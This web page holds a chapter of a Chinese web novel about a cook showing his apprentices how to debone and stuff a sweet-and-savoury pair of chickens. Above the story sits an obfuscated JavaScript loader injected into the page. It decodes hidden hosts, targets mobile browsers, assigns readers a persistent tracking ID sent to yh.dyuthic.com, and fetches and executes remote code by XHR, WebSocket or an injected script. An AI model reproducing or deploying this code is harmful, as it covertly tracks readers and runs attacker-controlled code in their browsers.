第477章 鸳鸯鸡成(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
“做鸳鸯鸡,怎么需要这么多肉馅?”赵冬白好奇的问。
许辰没有吭声,脑子里在想各种点子。
“哼!”赵冬白觉得很没面子。
“你说啥?”许辰问。
“她问你,鸳鸯鸡为何需要这么多猪肉馅。”柳棽也很好奇。
“做好了你们就知道了。”许辰皱眉道。
做好了猪肉馅,许辰开始做薏米馅。
薏米在当世被称为六谷米,许辰也向赵冬白纠正了一下,赵冬白也立刻在笔录上修改了。
然后是山楂糕。
许辰直接用某个村妇刚才摘来山楂榨汁和焦糖汁混合。
焦糖就用糖块炒,榨汁用石磨。
饴糖也没有,但这里有麦芽糖。
麦芽糖在诗经里面就出现了。
许辰用之前吩咐一个男庖厨打磨的花生乳混入麦芽糖,降低甜度和黏性,代替饴糖,反而会多出一缕酥香……
看到许辰搞这么复杂,赵冬白渐渐就放弃学习这道菜了。
她只是暂时放弃,打算回去后再跟许辰好好学习。
然后她直接去帮其他的庖厨准备那些大菜和凉菜。
倒是柳棽,依然眼巴巴的在旁边看着。
当许辰给两只鸡去骨的时候,她隐约看懂了,惊讶的问道:“许公子是想把肉馅和六谷米馅,分别装入两只鸡肉的腹中?而且两只鸡,一甜一咸?”zx.r
“你的悟性倒是可以。”许辰赞叹的点头道。
“葱盐汁抹在装肉馅的鸡里面,山楂糖汁抹在六谷米馅的鸡里面,秒呀!”
柳棽兴奋的笑道。
“你很不错。”
许辰还在给鸡去骨头呢,都没真正开始,这柳棽都猜到他要干嘛了。
就算她没有全部猜对,可这徒弟他也决定收下了。
漂亮不是重点,腚大也不是重点,重点是真的挺有灵气。
“给鸡去骨头会吗?”许辰问。
“不行,还没学到这功夫。”柳棽惭愧的摇头道。
“看来就我一个人能给整鸡去骨了。”
许辰开始加快速度。
然后几乎一百个呼吸时间,就把一只鸡的骨头给去掉了。
看了会儿之后,柳棽也来尝试,她虽然对鸡的形状有所损毁,但还是让许辰颇为满意。
并且让她把那被破坏的鸡,直接让卤水里去熬胶原蛋白。
并且尝试几次之后,柳棽就也熟练了。
又跑进来查看的赵冬白忽然发现柳棽比她进步大,她顿时有些慌了,赶紧拿起刀,加入到里面。
许辰算了算时间,又有些心慌了。
赶紧把所有闲着的庖厨,都叫来帮忙。
好在人一多,去骨的速度就快了。
不会的,许辰会手把手教,在他眼里,男女大防是不存在的!
然后许辰赶紧给大家示范鸳鸯鸡的第若干道工序。
之所以是若干道,是因为前面的准备工作,极其繁琐,而这一道工序也不是最后的工序。
这道工序就是,选两只鸡分别用五十克葱盐汁抹于内壁,随即翻皮朝外整形稍渍。